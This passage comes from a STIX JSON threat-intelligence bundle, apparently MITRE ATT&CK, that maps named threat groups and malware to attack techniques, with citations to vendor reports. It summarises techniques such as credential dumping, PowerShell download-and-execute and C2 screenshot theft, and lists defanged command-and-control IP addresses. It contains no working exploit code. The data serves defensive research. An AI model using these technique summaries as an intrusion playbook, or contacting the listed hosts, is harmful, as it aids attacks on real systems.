        },
        {
            "id": "relationship--478f7f77-6b6b-4949-ac87-f28419b5e2ab",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT19](https://attack.mitre.org/groups/G0073) performed a watering hole attack on forbes.com in 2014 to compromise targets.(Citation: Unit 42 C0d0so0 Jan 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/",
                    "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.",
                    "source_name": "Unit 42 C0d0so0 Jan 2016"
                }
            ],
            "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6",
            "type": "relationship",
            "modified": "2019-04-25T11:39:52.237Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to retrieve information about the OS.(Citation: FireEye Periscope March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "source_name": "FireEye Periscope March 2018"
                }
            ],
            "source_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-04-22T23:25:33.622Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--565d2d07-0e2e-44e5-bc37-5a64e49394ee",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Once [APT28](https://attack.mitre.org/groups/G0007) gained access to the DCCC network, the group then proceeded to use that access to compromise the DNC network.(Citation: DOJ GRU Indictment Jul 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.justice.gov/file/1080281/download",
                    "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.",
                    "source_name": "DOJ GRU Indictment Jul 2018"
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925",
            "type": "relationship",
            "modified": "2019-09-09T17:44:35.439Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--3dcf441c-b987-4c6a-93e7-e24ae1e16475",
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            "description": "[Reaver](https://attack.mitre.org/software/S0172) creates a shortcut file and saves it in a Startup folder to establish persistence.(Citation: Palo Alto Reaver Nov 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Reaver Nov 2017",
                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
                }
            ],
            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-17T02:22:51.859Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--11010986-1b4d-4158-b47d-bbff34306c98",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BADNEWS](https://attack.mitre.org/software/S0128) has a command to take a screenshot and send it to the C2 server.(Citation: Forcepoint Monsoon)(Citation: PaloAlto Patchwork Mar 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                },
                {
                    "source_name": "PaloAlto Patchwork Mar 2018",
                    "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"
                }
            ],
            "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-03-16T15:59:20.455Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--044ad6d3-9389-4764-9b96-ad53dc98840d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[XTunnel](https://attack.mitre.org/software/S0117) is capable of accessing locally stored passwords on victims.(Citation: Invincea XTunnel)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Invincea XTunnel",
                    "description": "Belcher, P.. (2016, July 28). Tunnel of Gov: DNC Hack and the Russian XTunnel. Retrieved August 3, 2016.",
                    "url": "https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/"
                }
            ],
            "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc",
            "type": "relationship",
            "modified": "2019-04-19T18:36:31.943Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e2e33068-b08e-45fd-89e0-0cf79868f902",
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            "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware uses PowerShell commands to perform various functions, including gathering system information via WMI and executing commands from its C2 server.(Citation: Citizen Lab Stealth Falcon May 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Citizen Lab Stealth Falcon May 2016",
                    "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.",
                    "url": "https://citizenlab.org/2016/05/stealth-falcon/"
                }
            ],
            "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2020-03-17T02:38:48.539Z",
            "created": "2017-05-31T21:33:27.073Z"
        },
        {
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.",
                    "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf",
                    "source_name": "GDATA Zeus Panda June 2017"
                }
            ],
            "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) can download additional malware plug-in modules and execute them on the victim\u2019s machine.(Citation: GDATA Zeus Panda June 2017)",
            "id": "relationship--4c0f441f-13b1-4b79-b658-e081d5143a94",
            "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-04-16T20:55:20.100Z",
            "created": "2019-01-29T17:59:44.517Z"
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            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) decoded base64-encoded PowerShell commands using a VBS file.(Citation: FireEye MuddyWater Mar 2018)(Citation: MuddyWater TrendMicro June 2018)(Citation: ClearSky MuddyWater Nov 2018)",
            "object_marking_refs": [
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            ],
            "external_references": [
                {
                    "source_name": "FireEye MuddyWater Mar 2018",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html"
                },
                {
                    "source_name": "MuddyWater TrendMicro June 2018",
                    "description": "Villanueva, M., Co, M. (2018, June 14). Another Potential MuddyWater Campaign uses Powershell-based PRB-Backdoor. Retrieved July 3, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/another-potential-muddywater-campaign-uses-powershell-based-prb-backdoor/"
                },
                {
                    "source_name": "ClearSky MuddyWater Nov 2018",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf",
                    "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018."
                }
            ],
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2019-06-28T15:30:58.634Z",
            "created": "2018-04-18T17:59:24.739Z"
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.",
                    "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html",
                    "source_name": "Fortinet Agent Tesla April 2018"
                },
                {
                    "source_name": "Malwarebytes Agent Tesla April 2020",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/",
                    "description": "Jazi, H. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved May 19, 2020."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has had its code obfuscated in an apparent attempt to make analysis difficult.(Citation: Fortinet Agent Tesla April 2018) [Agent Tesla](https://attack.mitre.org/software/S0331) has used the Rijndael symmetric encryption algorithm to encrypt strings.(Citation: Malwarebytes Agent Tesla April 2020)",
            "id": "relationship--4d7e8d98-9894-4dfa-9013-af8d83e6faea",
            "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-05-28T23:41:03.778Z",
            "created": "2019-01-29T18:44:04.939Z"
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        {
            "id": "relationship--e8193b28-b28a-4ab7-8390-8a5bd4d851b5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has deleted existing logs and exfiltrated file archives from a victim.(Citation: SecureWorks BRONZE UNION June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-union",
                    "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.",
                    "source_name": "SecureWorks BRONZE UNION June 2017"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-07-14T21:15:55.140Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d4d12441-c588-47f2-9751-8a86a867a185",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Proxysvc](https://attack.mitre.org/software/S0238) collects the network adapter information and domain/username information based on current remote sessions.(Citation: McAfee GhostSecret)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.",
                    "source_name": "McAfee GhostSecret"
                }
            ],
            "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2019-04-22T22:40:41.211Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "external_references": [
                {
                    "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/",
                    "source_name": "Malwarebytes DarkComet March 2018"
                }
            ],
            "description": "[DarkComet](https://attack.mitre.org/software/S0334) can use HTTP for C2 communications.(Citation: Malwarebytes DarkComet March 2018)",
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            "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T00:51:48.756Z",
            "created": "2019-01-29T19:18:28.542Z"
        },
        {
            "id": "relationship--da3fc762-2ac5-4ab7-8c77-6df2f06b5680",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) leveraged PowerShell to download and execute additional scripts for execution.(Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit 42 Playbook Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/",
                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
                    "source_name": "Unit 42 DarkHydrus July 2018"
                },
                {
                    "url": "https://pan-unit42.github.io/playbook_viewer/",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "source_name": "Unit 42 Playbook Dec 2017"
                }
            ],
            "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2019-04-22T19:23:13.517Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
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            "id": "relationship--1258536b-6cf4-4cfe-98c7-e9c1d30c5a34",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "An [APT3](https://attack.mitre.org/groups/G0022) downloader first establishes a SOCKS5 connection to 192.157.198[.]103 using TCP port 1913; once the server response is verified, it then requests a connection to 192.184.60[.]229 on TCP port 81.(Citation: FireEye Operation Double Tap)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html",
                    "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.",
                    "source_name": "FireEye Operation Double Tap"
                }
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91",
            "type": "relationship",
            "modified": "2019-04-29T18:01:20.482Z",
            "created": "2017-05-31T21:33:27.056Z"
        },
        {
            "id": "relationship--b2ae2606-fea8-4caf-a79e-91f09932d6d4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kazuar](https://attack.mitre.org/software/S0265) captures screenshots of the victim\u2019s screen.(Citation: Unit 42 Kazuar May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Kazuar May 2017",
                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
                }
            ],
            "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2019-04-24T15:26:03.710Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--1b03ba23-cbf3-4a77-8c8b-233a19e42a0c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bisonal](https://attack.mitre.org/software/S0268) can obtain a list of running processes on the victim\u2019s machine.(Citation: Unit 42 Bisonal July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Bisonal July 2018",
                    "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"
                }
            ],
            "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-17T00:24:48.603Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--91a362c7-a111-4a1e-8978-1afcc110e5cf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mosquito](https://attack.mitre.org/software/S0256)\u2019s installer is obfuscated with a custom crypter to obfuscate the installer.(Citation: ESET Turla Mosquito Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Turla Mosquito Jan 2018",
                    "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
                }
            ],
            "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-20T01:55:35.009Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--7a64af0b-aebe-47d1-9f96-ef0ecad52df9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has sent spearphishing emails with malicious attachments, including .rtf, .doc, and .xls files.(Citation: Proofpoint Leviathan Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "source_name": "Proofpoint Leviathan Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "type": "relationship",
            "modified": "2019-04-25T12:24:57.286Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--a49b638b-c180-4239-95f8-1601bd2d5295",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[DealersChoice](https://attack.mitre.org/software/S0243) makes modifications to open-source scripts from GitHub and executes them on the victim\u2019s machine.(Citation: Sofacy DealersChoice)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Sofacy DealersChoice",
                    "description": "Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/"
                }
            ],
            "source_ref": "malware--8f460983-1bbb-4e7e-8094-f0b5e720f658",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-17T00:53:53.876Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--7bde54d7-257c-4c68-920e-bd78fe282f14",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[JPIN](https://attack.mitre.org/software/S0201) can communicate over FTP.(Citation: Microsoft PLATINUM April 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
                }
            ],
            "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b",
            "type": "relationship",
            "modified": "2020-03-17T01:37:29.803Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--36aad32e-5300-4db0-b5a2-8b7442123db1",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1",
            "relationship_type": "uses",
            "target_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab",
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia",
                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "source_name": "Symantec Orangeworm April 2018"
                }
            ],
            "description": "(Citation: Symantec Orangeworm April 2018)",
            "type": "relationship",
            "modified": "2019-03-25T15:36:46.893Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--a8dc6cca-3ede-4110-baf1-8ce53fb655a9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects OS version information such as registered owner details, manufacturer details, processor type, available storage, installed patches, hostname, version info, system date, and other system information by using the commands <code>systeminfo</code>, <code>net config workstation</code>, <code>hostname</code>, <code>ver</code>, <code>set</code>, and <code>date /t</code>.(Citation: Symantec Orangeworm April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Orangeworm April 2018",
                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
                }
            ],
            "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-18T00:52:18.914Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--36b9f594-9a27-4281-a18e-9a5e7df70ad9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors have used [gsecdump](https://attack.mitre.org/software/S0008) to dump credentials. They have also dumped credentials from domain controllers.(Citation: Dell TG-3390)(Citation: SecureWorks BRONZE UNION June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                },
                {
                    "url": "https://www.secureworks.com/research/bronze-union",
                    "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.",
                    "source_name": "SecureWorks BRONZE UNION June 2017"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc",
            "type": "relationship",
            "modified": "2020-03-20T00:22:39.692Z",
            "created": "2017-05-31T21:33:27.061Z"
        },
        {
            "id": "relationship--3565539f-7ebf-4288-8422-5212c774821b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) is capable of reading files over the C2 channel.(Citation: FireEye APT30)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "type": "relationship",
            "modified": "2020-03-17T01:57:57.398Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--543dce32-6988-4e49-ad83-4405d1a143ae",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) leveraged a compiled HTML file that contained a command to download and run an executable.(Citation: Lookout Dark Caracal Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf",
                    "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.",
                    "source_name": "Lookout Dark Caracal Jan 2018"
                }
            ],
            "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d",
            "type": "relationship",
            "modified": "2019-07-16T15:35:20.965Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ad5b220e-ff6c-428c-a51e-e90781b7e11c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dok](https://attack.mitre.org/software/S0281) persists via a plist login item.(Citation: objsee mac malware 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "objsee mac malware 2017",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
                }
            ],
            "source_ref": "malware--f36b2598-515f-4345-84e5-5ccde253edbe",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a",
            "type": "relationship",
            "modified": "2020-03-19T19:08:28.855Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--e9d48406-947c-4d50-9539-b30c4566403b",
